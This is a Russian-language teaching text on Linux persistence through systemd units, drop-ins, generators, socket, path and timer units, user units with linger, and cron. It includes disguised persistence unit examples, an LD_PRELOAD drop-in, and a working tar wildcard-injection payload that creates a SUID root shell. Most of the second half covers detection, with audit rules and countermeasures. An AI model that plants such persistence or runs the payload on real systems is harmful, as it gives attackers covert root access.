Апокриф 05

Инъекция юнитов systemd и Cron

Инъекция юнитов systemd и Cron

Предыдущие темы апокрифов заканчивались получением прав суперпользователя: сначала через окружение и артефакты пользователя, затем через SUID-биты и capabilities, затем через уязвимость ядра. Все эти приёмы живут ровно до перезагрузки. Задача следующего шага — закрепиться так, чтобы доступ восстанавливался сам, без участия атакующего, и чтобы точка закрепления выглядела частью штатной конфигурации системы.

В Linux для этого есть два конкурирующих механизма. Первый — systemd, менеджер инициализации и служб, который на современных дистрибутивах запускает почти всё: сеть, журналирование, вход в систему, таймеры, монтирование. Второй — cron, классический планировщик, который живёт в системе десятилетиями и часто остаётся включённым «на всякий случай». Оба механизма объединяет одно свойство: они исполняют код от имени того, кто имеет право писать в их конфигурацию, и оба хранят конфигурацию в файлах, которые никто не проверяет при каждом запуске.

Эта тема разбирает, как устроены обе подсистемы на уровне форматов, путей поиска и моментов запуска, как из них делается точка закрепления, которая переживает перезагрузку и обновление пакетов, и — вторая половина темы — как такая точка находится со стороны защитника. Отдельное внимание уделено wildcard-инъекции: это не про закрепление, а про повышение привилегий через задание планировщика, и оно показывает, почему даже правильно оформленный cron-скрипт может исполнять чужие команды.

Изложение идёт от общего к частному. Сначала — как systemd находит юнит и что происходит между systemctl start и первым execve. Затем — какие юниты дают закрепление и чем они отличаются по скрытности. Затем — cron: формат, окружение задания, слепые зоны. В конце — инвентаризация автозапуска, матрица «приём — признак — контрмера» и границы, за которыми приём перестаёт работать.

Все примеры приведены для Ubuntu 24.04 LTS с systemd 255. Вывод systemctl show, systemctl list-timers и systemd-analyze calendar получен на реальной системе и приведён как есть; вывод для вымышленной службы network-telemetry и вывод cron-команд помечен как пример — в среде автора нет ни этой службы, ни cron. На другой версии дистрибутива пути и формат вывода могут отличаться, и это нормально: важна структура, а не конкретные строки. Приёмы закрепления, о которых идёт речь, описаны в матрице MITRE ATT&CK как отдельная тактика Persistence 6.

Четыре уровня, на которых Linux запускает чужой код, показаны на рисунке 1.

Уровни персистентности в Linux: от загрузчика до оболочки
Рисунок 1. Уровни автозапуска: загрузчик, системные службы, пользовательские службы, инициализация оболочки

Каталоги юнитов и порядок разрешения

Путь поиска и приоритет каталогов

Юнит — это текстовый файл с расширением, которое задаёт его тип: .service для службы, .socket для сокета, .timer для таймера, .path для наблюдения за файловой системой, .target для группы, .mount для точки монтирования. Формат — INI-подобный: секции в квадратных скобках, параметры Ключ=Значение, комментарии начинаются с # или ;. Полное описание синтаксиса — в systemd.unit(5) 1.

Когда systemd нужен юнит с именем foo.service, он не ищет его по всей файловой системе, а проходит фиксированный список каталогов и берёт первое совпадение. Для системного менеджера порядок такой (сокращённо, полный — в systemd.unit(5)):

/etc/systemd/system.control
/run/systemd/system.control
/run/systemd/transient
/etc/systemd/system
/etc/systemd/system.attached
/run/systemd/system
/run/systemd/system.attached
/usr/local/lib/systemd/system
/usr/lib/systemd/system

Правило простое: чем выше каталог в списке, тем выше приоритет. Файл в /etc/systemd/system перекрывает одноимённый файл из /usr/lib/systemd/system, поэтому пакет может обновлять свой юнит, не затирая администраторскую правку. Каталоги .control и .attached относятся к transient-юнитам и к юнитам, прикреплённым к контроллерам ресурсов; в обычной системе они пусты, но именно поэтому в них удобно прятать юнит: systemctl list-unit-files показывает только файлы на диске, а transient-юнит, созданный через D-Bus, на диске не лежит вовсе.

Проверить, откуда взят конкретный юнит, позволяет systemctl show:

systemctl show -p FragmentPath -p DropInPaths systemd-journald.service
FragmentPath=/usr/lib/systemd/system/systemd-journald.service
DropInPaths=

Поле FragmentPath — это и есть выигравший файл. Пустой DropInPaths означает, что дополнений нет. Если бы в /etc/systemd/system/systemd-journald.service.d/ лежал файл override.conf, он попал бы в DropInPaths, а FragmentPath остался бы прежним.

Маскировка — отдельный случай. Если вместо файла в каталоге с высоким приоритетом лежит символическая ссылка на /dev/null, юнит считается замаскированным и не может быть запущен даже как зависимость. Это штатный способ отключить службу, но он же применяется, чтобы скрыть факт подмены: администратор видит «masked», а не «enabled».

Drop-in и генераторы

Drop-in — это каталог <имя-юнита>.d/ рядом с юнитом, в котором лежат файлы *.conf. Они применяются поверх основного файла в лексикографическом порядке имён. Механизм нужен, чтобы не копировать весь юнит ради одной строки, и именно поэтому он удобен для незаметной правки: сам юнит остаётся пакетным и проходит проверку контрольных сумм, а изменение живёт в отдельном маленьком файле.

# /etc/systemd/system/ssh.service.d/10-audit.conf
[Service]
Environment=LD_PRELOAD=/usr/local/lib/libaudit.so

Такая правка не меняет ни FragmentPath, ни список включённых юнитов: systemctl list-unit-files --state=enabled покажет ssh.service enabled ровно как до неё. Заметить её можно только через systemctl cat, systemctl show -p DropInPaths или systemd-delta — утилиту, которая сравнивает перекрытые файлы и показывает различия.

Ещё один слой — генераторы. Это исполняемые файлы в /usr/lib/systemd/system-generators и /etc/systemd/system-generators, которые systemd запускает при загрузке и при daemon-reload. Генератор получает три каталога и пишет в них юниты, которые затем попадают в /run/systemd/generator (и в .early/.late-варианты). Генераторы существуют для динамической генерации: например, systemd-fstab-generator превращает /etc/fstab в .mount-юниты. С точки зрения закрепления это отдельный, почти невидимый канал: юнит не лежит ни в одном из штатных каталогов, а появляется в /run при каждой загрузке.

Генератор — обычный исполняемый файл, часто скрипт. Минимальный пример, который создаёт службу при каждой загрузке:

#!/bin/sh
# /etc/systemd/system-generators/99-sync-generator
set -eu
dir="$1"
mkdir -p "$dir"
cat > "$dir/sync-agent.service" <<'UNIT'
[Unit]
Description=Configuration Sync Agent
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/libexec/sync-agent --quiet
Restart=always

[Install]
WantedBy=multi-user.target
UNIT

Файл должен быть исполняемым и принадлежать root. После перезагрузки юнит существует, но systemctl list-unit-files его не покажет: список строится по файлам в каталогах юнитов, а /run/systemd/generator в этот список не входит. Увидеть его можно через systemctl list-units --all (он там будет, потому что загружен) и через systemctl cat sync-agent.service, который покажет путь в /run/systemd/generator.

Каталоги, из которых systemd собирает конфигурацию, и приоритет между ними показаны на рисунке 2.

Приоритет каталогов юнитов systemd
Рисунок 2. Каталоги юнитов: системные, пользовательские и генерируемые, и их приоритет

Что systemd делает при запуске юнита

Между systemctl start foo.service и первым execve проходит несколько шагов, и каждый из них — потенциальная точка наблюдения.

  1. Клиент systemctl отправляет менеджеру запрос по D-Bus на шину org.freedesktop.systemd1.
  2. Менеджер загружает юнит: читает FragmentPath, накладывает drop-in, проверяет зависимости.
  3. Создаётся cgroup юнита в /sys/fs/cgroup/system.slice/foo.service/.
  4. Для Type=simple менеджер вызывает fork, затем в дочернем процессе настраивает окружение, права (User=, Group=), лимиты, namespace'ы и вызывает execve. Родитель сразу считает юнит запущенным. С точки зрения ядра это обычный fork+execve, только сделанный от PID 1 и с заранее подготовленными атрибутами процесса 4.
  5. Для Type=forking менеджер ждёт, пока основной процесс завершится, и только потом считает службу запущенной; для Type=notify — ждёт sd_notify(READY=1) на сокете $NOTIFY_SOCKET.

Именно поэтому Type= — не формальность. Служба, которая объявлена как simple, но на самом деле демонизируется, будет выглядеть для systemd завершившейся, и Restart=always начнёт бесконечно её перезапускать. Для точки закрепления это не проблема, но для маскировки под легитимный сервис — важно: неправильный Type= выдаёт юнит при первом же systemctl status.

Окружение, которое получает процесс, собирается из нескольких источников: базовое окружение менеджера, Environment= в юните, EnvironmentFile= (файл с парами Ключ=Значение, без кавычек), PassEnvironment= (проброс переменных из менеджера). Переменные из юнита видны в /proc/<pid>/environ процесса-службы, и это один из первых признаков, которые проверяет защитник: путь к библиотеке в LD_PRELOAD, указывающий в /usr/local/lib, или LD_LIBRARY_PATH в системной службе — аномалия.

Служба как точка закрепления

Полный юнит и его жизненный цикл

Минимальный юнит, который переживает перезагрузку, состоит из трёх секций. Пример ниже намеренно похож на десятки легитимных сервисов: имя, описание и путь не должны выглядеть подозрительно.

# /etc/systemd/system/network-telemetry.service
[Unit]
Description=Network Telemetry Collector
Documentation=man:network-telemetry(8)
After=network-online.target
Wants=network-online.target
StartLimitIntervalSec=300
StartLimitBurst=5

[Service]
Type=simple
User=root
ExecStartPre=/usr/local/libexec/telemetry-check --quiet
ExecStart=/usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
Restart=always
RestartSec=30
RemainAfterExit=no
KillMode=mixed
TimeoutStopSec=10

[Install]
WantedBy=multi-user.target

Разберём строки, которые несут смысл для закрепления.

After=network-online.target и Wants= — служба ждёт сеть и сама подтягивает цель. Без Wants= она всё равно запустится, но может упасть на первом соединении; с ним — порядок гарантирован. StartLimitIntervalSec и StartLimitBurst ограничивают число перезапусков: по умолчанию пять попыток за десять секунд, после чего systemd переводит юнит в состояние failed и больше не пытается. Для агента, который должен работать всегда, лимит увеличивают, иначе падение на старте (например, из-за отсутствия сети) навсегда остановит службу.

Restart=always перезапускает процесс при любом завершении, включая exit 0. RestartSec=30 задаёт паузу. RemainAfterExit=yes нужен для Type=oneshot: без него юнит считается неактивным сразу после выхода процесса, и systemctl is-active возвращает inactive, хотя скрипт уже отработал. KillMode=mixed посылает SIGTERM только основному процессу и SIGKILL — остальным в cgroup; это важно, если служба порождает дочерние процессы, которые не должны пережить остановку.

ExecStartPre — отдельная строка запуска, которая выполняется до основного процесса и должна завершиться успешно. Это удобное место для проверки условий: если проверка возвращает ненулевой код, служба не запускается. Для закрепления ExecStartPre полезен тем, что позволяет держать полезную нагрузку в отдельном файле, а юнит — чистым.

Установка и запуск:

sudo systemctl daemon-reload
sudo systemctl enable --now network-telemetry.service
systemctl status network-telemetry.service --no-pager
● network-telemetry.service - Network Telemetry Collector
     Loaded: loaded (/etc/systemd/system/network-telemetry.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-10-19 17:31:04 MSK; 3s ago
   Main PID: 48211 (telemetry-agent)
      Tasks: 3 (limit: 18752)
     Memory: 4.2M (peak: 4.4M)
        CPU: 41ms
     CGroup: /system.slice/network-telemetry.service
             ├─48211 /usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
             └─48213 /usr/local/libexec/telemetry-agent --worker

enable создаёт символическую ссылку в multi-user.target.wants, --now сразу запускает. Строка Loaded: показывает путь и состояние, CGroup: — дерево процессов. Последнее особенно важно для защитника: если в cgroup службы видно sh -c, curl или python3, это повод посмотреть, что именно запускается.

Типы служб и что из них следует

Выбор Type= определяет, как systemd понимает момент готовности, и от этого зависит поведение при сбое.

Type=Когда считается запущеннойТипичное применениеЧто выдаёт подделку
simpleсразу после fork+execveдолгоживущий процесс на переднем планедемонизация внутри — служба «завершается»
execпосле успешного execveкак simple, но с проверкой запускаошибка exec видна сразу
forkingкогда родительский процесс вышелклассические демонынужен PIDFile=, иначе systemd не найдёт процесс
oneshotкогда процесс завершилсяскрипты, разовые задачибез RemainAfterExit=yes юнит неактивен
notifyпосле sd_notify(READY=1)службы с явной готовностьюбез вызова sd_notify — таймаут запуска
dbusпосле захвата имени на шинеслужбы D-Busимя должно быть свободно

Для закрепления чаще всего используют simple и oneshot с таймером. forking требует PIDFile=, иначе systemd не сможет отслеживать процесс, а notify требует, чтобы программа умела разговаривать с systemd, — лишняя сложность.

Маскировка под легитимный юнит

Точка закрепления редко выдаёт себя именем backdoor.service. Обычная практика — имя, состоящее из слов, которые встречаются в системных юнитах: systemd-networkd-wait-online, apt-daily, update-notifier, motd-news, snapd.refresh. Точное совпадение с существующим юнитом не нужно и опасно: оно конфликтует. Достаточно похожести.

Признаки, по которым такая служба всё равно находится:

  • Description= не совпадает с тем, что делает бинарник;
  • ExecStart= указывает в /usr/local/libexec, /opt, /var/lib или домашний каталог — системные службы обычно живут в /usr/bin, /usr/sbin, /usr/lib;
  • файл юнита создан позже остальных (stat показывает mtime, btime);
  • в [Install] стоит WantedBy=multi-user.target, но пакет, которому принадлежит имя, такой юнит не поставляет (dpkg -S не находит файл);
  • cgroup содержит процессы, не соответствующие описанию;
  • в journalctl -u видны записи, которых не должно быть у службы с таким именем.

Socket-активация как скрытый триггер

Сокет-активация позволяет держать службу выключенной, пока к её сокету не подключились. systemd сам открывает слушающий сокет и передаёт его процессу при первом соединении. До этого в системе нет ни процесса, ни открытого дескриптора у службы — только сам сокет, который слушает PID 1.

# /etc/systemd/system/telemetry.socket
[Unit]
Description=Telemetry Socket

[Socket]
ListenStream=127.0.0.1:9418
Accept=no
Backlog=16

[Install]
WantedBy=sockets.target
# /etc/systemd/system/telemetry.service
[Unit]
Description=Telemetry Worker
Requires=telemetry.socket
After=telemetry.socket

[Service]
Type=simple
ExecStart=/usr/local/libexec/telemetry-worker
StandardInput=socket
StandardOutput=socket

При Accept=no systemd передаёт процессу уже слушающий сокет как файловый дескриптор 3 и выставляет переменные LISTEN_FDS=1 и LISTEN_PID=<pid>; процесс вызывает accept() сам. При Accept=yes systemd принимает соединение и запускает экземпляр шаблонного юнита telemetry@.service, передавая ему соединение на stdin/stdout; это удобно для простых обработчиков, которые читают запрос и пишут ответ. Готовые обёртки для второго случая — systemd-socket-activate и библиотека sd_listen_fds(3).

Почему это скрытно: systemctl list-units показывает telemetry.socket loaded active listening, но не показывает работающий процесс, пока нет соединения. Защитник, который ищет процессы, ничего не найдёт. Защитник, который смотрит ss -tulpn, увидит сокет, принадлежащий systemd (PID 1), а не подозрительному бинарнику. Обнаружить связь можно через systemctl list-sockets, systemctl status telemetry.socket (там будет Triggers: telemetry.service) и через systemctl show -p Triggers.

.path-юниты и таймеры

.path-юнит запускает службу при появлении или изменении файла. Это ещё один триггер без постоянного процесса.

# /etc/systemd/system/telemetry.path
[Unit]
Description=Watch telemetry drop directory

[Path]
PathExists=/var/lib/telemetry/queue
PathChanged=/var/lib/telemetry/queue
Unit=telemetry-worker.service

[Install]
WantedBy=paths.target

PathExists= срабатывает при появлении пути, PathChanged= — при изменении, PathModified= — при записи в файл, DirectoryNotEmpty= — когда каталог перестаёт быть пустым. Проверка идёт через inotify, поэтому срабатывание почти мгновенное. Комбинация «.path + oneshot-служба» даёт реакцию на событие без демона и без опроса.

Таймер — замена cron внутри systemd. Он состоит из двух юнитов: .timer задаёт расписание, .service — что запускать. Имя службы по умолчанию совпадает с именем таймера.

# /etc/systemd/system/telemetry.timer
[Unit]
Description=Periodic telemetry collection

[Timer]
OnBootSec=5min
OnUnitActiveSec=30min
RandomizedDelaySec=120
AccuracySec=1min
Persistent=true
Unit=telemetry.service

[Install]
WantedBy=timers.target

OnBootSec= отсчитывает время от загрузки, OnUnitActiveSec= — от последнего запуска юнита, OnCalendar= задаёт календарное расписание в формате День Дата Время. RandomizedDelaySec= разбрасывает запуски, чтобы они не приходились на одну секунду; AccuracySec= разрешает systemd сдвигать запуск в пределах окна ради экономии энергии (по умолчанию одна минута — именно поэтому таймеры «неточные»). Persistent=true заставляет systemd запомнить момент последнего запуска в /var/lib/systemd/timers/ и догнать пропущенное после выключения машины.

Проверка расписания без ожидания:

systemd-analyze calendar 'Mon *-*-* 03:30:00'
systemd-analyze calendar '*-*-* *:0/15'
Normalized form: Mon *-*-* 03:30:00
    Next elapse: Mon 2026-10-26 03:30:00 MSK
       (in UTC): Mon 2026-10-26 00:30:00 UTC
       From now: 6 days left

  Original form: *-*-* *:0/15
Normalized form: *-*-* *:00/15:00
    Next elapse: Mon 2026-10-19 17:45:00 MSK
       (in UTC): Mon 2026-10-19 14:45:00 UTC
       From now: 14min left

Связка таймера и службы показана на рисунке 3.

Связка systemd Timer и Service
Рисунок 3. Таймер как триггер: постоянного процесса нет, служба запускается по расписанию

Список активных таймеров и времени до следующего срабатывания:

systemctl list-timers --all --no-pager
NEXT                           LEFT LAST                              PASSED UNIT                             ACTIVATES
Mon 2026-10-19 22:38:51 MSK 5h 8min Mon 2026-10-12 21:51:15 MSK            - reflector.timer                  reflector.service
Tue 2026-10-20 00:00:00 MSK      6h Mon 2026-10-19 14:27:51 MSK  3h 2min ago shadow.timer                     shadow.service
Tue 2026-10-20 14:42:55 MSK     21h Mon 2026-10-19 14:42:55 MSK 2h 47min ago systemd-tmpfiles-clean.timer     systemd-tmpfiles-clean.service

Колонки читаются так: NEXT — когда сработает в следующий раз, LEFT — сколько осталось, LAST — когда срабатывал, PASSED — сколько прошло, UNIT — таймер, ACTIVATES — что он запускает. Таймер без пары в ACTIVATES или с парой, указывающей в неожиданное место, — повод разбираться.

Пользовательский менеджер и linger

systemd --user и его каталоги

Кроме системного менеджера (PID 1), у каждого пользователя может быть свой экземпляр systemd — systemd --user. Он запускается при первом входе и управляет пользовательскими юнитами. Каталоги поиска для него другие:

~/.config/systemd/user
/etc/systemd/user
/run/systemd/user
~/.local/share/systemd/user
/usr/lib/systemd/user

Пользовательские юниты не требуют root — и это делает их удобной точкой закрепления для непривилегированного доступа. Ограничение: пользовательский менеджер живёт, пока жива сессия пользователя. Когда сессия закрывается (выход из SSH, завершение графического входа), systemd останавливает пользовательские юниты и удаляет /run/user/<uid>.

Обойти это позволяет linger. Команда

sudo loginctl enable-linger student

создаёт файл /var/lib/systemd/linger/student, и systemd запускает пользовательский менеджер при загрузке системы, не дожидаясь входа. Юниты пользователя работают без сессии, XDG_RUNTIME_DIR=/run/user/<uid> существует, сокеты и D-Bus доступны. Отключение — loginctl disable-linger student.

Проверить, у кого включён linger:

ls -l /var/lib/systemd/linger/
loginctl show-user student -p Linger
Linger=yes

Для защитника linger — это конкретный, легко проверяемый признак. В обычной системе файлов в /var/lib/systemd/linger нет или они принадлежат сервисным учёткам (например, пользователю, под которым работает контейнер). Появление linger у обычного пользователя стоит объяснить.

Пользовательские службы: установка и ограничения

mkdir -p ~/.config/systemd/user
# ... файл sync.service ...
systemctl --user daemon-reload
systemctl --user enable --now sync.service
systemctl --user status sync.service

Пользовательские службы не могут менять User= (они и так работают от пользователя), не получают CAP_* сверх того, что есть у пользователя, и не могут писать в системные каталоги. Зато они наследуют окружение пользователя: $HOME, $PATH, доступ к его файлам, ключам SSH, токенам в ~/.config. Для закрепления это означает доступ к пользовательским данным без единого повышения привилегий — часто этого достаточно.

Важная деталь: пользовательский менеджер не перезапускает упавшие юниты с той же настойчивостью, что системный, и его журнал попадает в общий journalctl --user-unit. Тем не менее Restart=always работает и здесь.

Cron: формат, окружение и слепые зоны

Синтаксис и каталоги

Cron — планировщик, который читает файлы расписаний и запускает команды с точностью до минуты. Строка расписания состоит из пяти полей и команды:

минута час день_месяца месяц день_недели команда
0-59   0-23 1-31        1-12   0-7 (0 и 7 — воскресенье)

Поддерживаются списки (1,15,30), диапазоны (9-17), шаги (*/5), а также сокращения @reboot, @yearly, @monthly, @weekly, @daily, @hourly. Полный синтаксис — в crontab(5) 2.

Файлы расписаний живут в нескольких местах, и это важно для инвентаризации:

ПутьКто пишетОсобенность
/var/spool/cron/crontabs/<user>сам пользователь через crontab -eв Debian/Ubuntu; в RHEL — /var/spool/cron/<user>
/etc/crontabадминистраторесть поле пользователя перед командой
/etc/cron.d/*пакеты и администратортоже с полем пользователя; имена файлов — только буквы, цифры, _, -
/etc/cron.{hourly,daily,weekly,monthly}/пакетызапускаются через run-parts, имена без точек
/etc/anacrontabадминистратордогоняет пропущенные задания

Разница между пользовательским crontab и /etc/cron.d — в поле пользователя. В файле пользователя его нет: команда выполняется от владельца crontab. В системных файлах шестое поле — имя пользователя, и именно оно определяет права:

# /etc/cron.d/telemetry
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""

*/20 * * * * root /usr/local/libexec/telemetry-collect --quiet

run-parts запускает все исполняемые файлы из каталога по очереди. В Debian он игнорирует имена, содержащие точки, — это защита от резервных копий вида backup.sh.bak, которые иначе выполнились бы повторно. Отсюда практическое правило: скрипт в /etc/cron.daily должен называться telemetry-collect, а не telemetry-collect.sh. Раскладка каталогов и правила именования — предмет политики дистрибутива, а не cron как такового; в Debian она описана в Debian Policy 5.

anacron решает другую задачу: он запускает задания, которые должны выполняться раз в сутки/неделю/месяц, но машина не работает круглосуточно. Он хранит отметки о выполнении в /var/spool/anacron/ и при загрузке догоняет пропущенное. В контейнерах и на ноутбуках anacron часто единственный работающий планировщик.

Окружение задания: почему «в терминале работает, в cron — нет»

Cron запускает команду не в вашей оболочке, а через /bin/sh -c с минимальным окружением. По умолчанию это:

SHELL=/bin/sh
PATH=/usr/bin:/bin
HOME=<домашний каталог пользователя>
LOGNAME=<имя пользователя>
MAILTO=<имя пользователя>

Ни ~/.bashrc, ни ~/.profile, ни PATH из интерактивной сессии не подхватываются. Отсюда три классические ошибки: команда не найдена, потому что лежит в /usr/local/bin, которого нет в PATH; скрипт падает, потому что рассчитывает на переменные из профиля; вывод уходит письмом, а не в терминал.

Проверить, что видит задание, можно так:

env -i SHELL=/bin/sh PATH=/usr/bin:/bin HOME="$HOME" LOGNAME="$USER" /bin/sh -c 'env; echo "---"; command -v python3'

Правильный способ — задать окружение в самом файле расписания:

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAILTO=""
HOME=/opt/telemetry

*/5 * * * * root /usr/local/libexec/telemetry-collect --quiet >> /var/log/telemetry.log 2>&1

MAILTO="" отключает письма. Без него cron пытается отправить вывод на локальную почту, и если MTA не настроен, задание может завершиться с ошибкой доставки — а на некоторых системах это видно в журнале.

Экранирование % и stdin

В crontab символ % имеет специальное значение: он превращается в перевод строки, а всё, что после первого %, отправляется на stdin команды. Поэтому date +%Y-%m-%d в задании сломается: %Y станет переводом строки, и date получит на вход мусор. Экранируется обратной косой чертой:

0 3 * * * root /usr/local/bin/report --stamp "$(date +\%Y-\%m-\%d)" > /var/log/report.log 2>&1

Это же свойство можно использовать намеренно: command %строка1%строка2 передаст строка1\nстрока2 на stdin. Для закрепления это редкий, но рабочий способ передать данные в программу, которая читает stdin.

Wildcard-инъекция

Отдельный класс проблем — не про закрепление, а про повышение привилегий. Задание cron, которое раскрывает * в каталоге, где может писать непривилегированный пользователь, исполняет чужие имена файлов как опции команды.

Механизм: оболочка раскрывает * до вызова execve, подставляя имена файлов как отдельные аргументы. Если имя файла начинается с --, программа воспринимает его как опцию. Классический пример — tar с --checkpoint-action=exec:

# /etc/cron.daily/backup-data — запускается от root
cd /var/data && tar -czf /backup/data.tar.gz *

Пользователь, у которого есть право записи в /var/data, создаёт два файла:

cd /var/data
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh payload.sh'
printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' > payload.sh
chmod +x payload.sh

После раскрытия * командная строка выглядит так:

tar -czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh data.csv notes.txt

tar разбирает аргументы, видит --checkpoint-action=exec=sh payload.sh и выполняет payload.sh от имени root в момент контрольной точки. Скрипт получает root-оболочку через SUID-копию bash.

Механизм wildcard-инъекции в cron
Рисунок 4. Wildcard-инъекция: имена файлов становятся опциями tar

Тот же приём работает с другими утилитами, которые принимают опции после операндов: rsync (-e), chown/chmod (--reference), zip, 7z, find (в некоторых формах). Защита простая и обязательная:

  • завершать список операндов --: tar -czf /backup/data.tar.gz -- *;
  • использовать ./: tar -czf /backup/data.tar.gz ./* — имена станут ./--checkpoint=1 и перестанут быть опциями;
  • не запускать задание из каталога, доступного на запись непривилегированным пользователям;
  • использовать find с явными -maxdepth и -name вместо *.

Обнаружение и защита

Инвентаризация автозапуска

Защитник начинает не с поиска конкретного приёма, а с полной картины того, что запускается. Это ровно тот порядок действий, который рекомендует криминалистическая методика: сначала собрать состояние системы, потом интерпретировать 7. Минимальный набор команд:

systemctl list-unit-files --state=enabled --no-pager
systemctl list-timers --all --no-pager
systemctl list-sockets --all --no-pager
systemctl list-units --type=service --all --no-pager
systemd-delta --no-pager

list-unit-files --state=enabled показывает юниты, включённые в цели. list-timers --all — таймеры, включая неактивные. list-sockets — сокет-активацию. list-units — то, что реально загружено, включая transient и сгенерированные юниты. systemd-delta — перекрытия: файлы в /etc, которые заменяют или дополняют пакетные.

Дальше — точечные проверки:

# юниты, изменённые позже установки системы
sudo find /etc/systemd/system /etc/systemd/user /var/lib/systemd -type f -newermt '2026-01-01' -ls

# содержимое drop-in
systemctl show -p DropInPaths --value ssh.service

# проверка синтаксиса и зависимостей
sudo systemd-analyze verify /etc/systemd/system/telemetry.service

# пользовательские юниты и linger
ls -l /var/lib/systemd/linger/
systemctl --user list-unit-files --state=enabled

Для cron — отдельный обход:

sudo ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
sudo cat /etc/crontab /etc/anacrontab
sudo ls -la /var/spool/cron/crontabs/
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null; done

Права на файлы тоже признак: /etc/cron.d/telemetry должен принадлежать root и не быть доступным на запись группе или остальным. Файл с правами 666 в /etc/cron.d — готовая точка закрепления для любого пользователя.

Аудит: auditd и journald

auditd умеет фиксировать изменения конфигурации и запуск процессов. Правила для systemd и cron:

# /etc/audit/rules.d/persistence.rules
-w /etc/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/user/ -p wa -k systemd_persist
-w /run/systemd/generator/ -p wa -k systemd_generator
-w /etc/cron.d/ -p wa -k cron_persist
-w /etc/crontab -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist
-w /var/lib/systemd/linger/ -p wa -k linger
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec

-w путь -p wa — наблюдение за записью и изменением атрибутов. -k — ключ, по которому события ищутся через ausearch -k systemd_persist. Последнее правило пишет все execve с euid=0: это большой объём, но именно он показывает, что запускалось от root между событиями.

sudo ausearch -k systemd_persist -i --start today
sudo ausearch -k root_exec -i --start recent | grep -E 'comm=|exe='

journald даёт другую проекцию. Каждая служба пишет в журнал с полями _SYSTEMD_UNIT, _SYSTEMD_CGROUP, _PID, _COMM, _EXE. По ним видно, что служба запускалась, даже если её файл уже удалён:

journalctl -u telemetry.service --since '7 days ago' --no-pager
journalctl _COMM=systemd --since today | grep -i 'generator\|transient'
journalctl --verify

journalctl --verify проверяет целостность файлов журнала. Если злоумышленник правил журнал напрямую, проверка покажет расхождение; если журнал перенаправлен на внешний сервер через systemd-journal-remote, локальная правка не поможет. На практике администраторы ведут именно такую «вторую копию» журнала — вместе с инвентаризацией юнитов это базовый набор данных для разбора инцидента 3.

Матрица «приём — признак — контрмера»

ПриёмПризнакКонтрмера
Юнит в /etc/systemd/systemфайл вне пакета, mtime свежий, dpkg -S не находитAIDE/Tripwire на /etc/systemd, auditd -w, сверка с манифестом пакетов
Drop-in в <unit>.dsystemctl show -p DropInPaths, systemd-deltaаудит drop-in, запрет правки пакетных юнитов без конфигурационного менеджера
Генератор в /etc/systemd/system-generatorsфайл в каталоге генераторов, юнит в /run/systemd/generatorконтроль каталога генераторов, auditd -w, поиск юнитов вне штатных путей
Transient-юнитюнит есть в list-units, но FragmentPath пустмониторинг D-Bus-метода StartTransientUnit, журнал systemd
Сокет-активацияlist-sockets, процесс отсутствует до соединенияинвентаризация сокетов, сверка с ожидаемыми портами
.path-юнитlist-units --type=path, inotify-наблюдениеаудит path-юнитов, контроль каталогов-триггеров
Пользовательская служба + linger/var/lib/systemd/linger/<user>, ~/.config/systemd/userзапрет linger для обычных пользователей, аудит домашних каталогов
Таймер с RandomizedDelaySeclist-timers, нестандартное расписаниеинвентаризация таймеров, сверка ACTIVATES
Запись в /etc/cron.dauditd, права файла, mtime-w /etc/cron.d -p wa, права 644 root:root
Пользовательский crontabcrontab -l -u, файл в /var/spool/cron/crontabsаудит spool, cron.allow
Wildcard-инъекцияимена файлов с -- в каталоге задания, execve от root с неожиданными аргументами--/./ в заданиях, find вместо *, права на каталог

Границы: что ломает приём

Ни один из приёмов не универсален, и границы полезно знать заранее.

Только root. Запись в /etc/systemd/system, /etc/cron.d, /etc/crontab, /usr/lib/systemd/system-generators требует root. Без него остаются пользовательские юниты и crontab -e — они работают от пользователя и не дают новых прав.

Linger по умолчанию выключен. Пользовательская служба без linger умирает вместе с сессией. Включить linger может только root (или сам пользователь, если у него есть право через polkit — в стандартной конфигурации такого права нет).

SELinux/AppArmor. Мандатный контроль может запретить службе доступ к файлам, которых нет в её профиле. Юнит запустится, но полезная нагрузка не сможет прочитать нужный каталог. В Ubuntu AppArmor профили для системных служб ограничивают /usr/local/libexec; в RHEL SELinux-контекст файла в /usr/local может не совпадать с ожидаемым.

Только чтение корневой файловой системы. На системах с dm-verity, IMA или смонтированным read-only /usr правка пакетных юнитов не переживёт проверку целостности. Остаются /etc и /var, но IMA-политика может запрещать исполнение неподписанных бинарников.

systemd-analyze verify и daemon-reload. Синтаксическая ошибка в юните не даст ему загрузиться; daemon-reload нужен после любой правки, иначе systemd продолжит работать со старым содержимым в памяти.

Cron может быть выключен. В контейнерах cron обычно не запущен, в минимальных образах его нет вовсе. Проверять надо не наличие файла, а наличие процесса cron/crond и активность cron.service.

Итоги темы

systemd и cron — две подсистемы, которые решают одну задачу: запустить заданный код в заданный момент от заданного пользователя. Различаются они механизмом. systemd строит граф юнитов, ищет их по приоритетному списку каталогов, поддерживает drop-in, генераторы, сокет-активацию, path-триггеры и таймеры; cron читает плоские файлы расписаний и запускает команды через /bin/sh -c с минимальным окружением. Для закрепления важны обе: systemd даёт больше способов спрятать триггер, cron — меньше следов и меньше зависимостей.

Ключевое наблюдение темы: точка закрепления почти никогда не является «новым процессом». Это либо изменение существующего юнита через drop-in, либо юнит, сгенерированный в /run при загрузке, либо сокет, который слушает PID 1, либо пользовательская служба, живущая благодаря linger. Именно поэтому инвентаризация должна идти не по процессам, а по конфигурации и её источникам: FragmentPath, DropInPaths, systemd-delta, /run/systemd/generator, /var/lib/systemd/linger, /etc/cron.d, spool-каталоги.

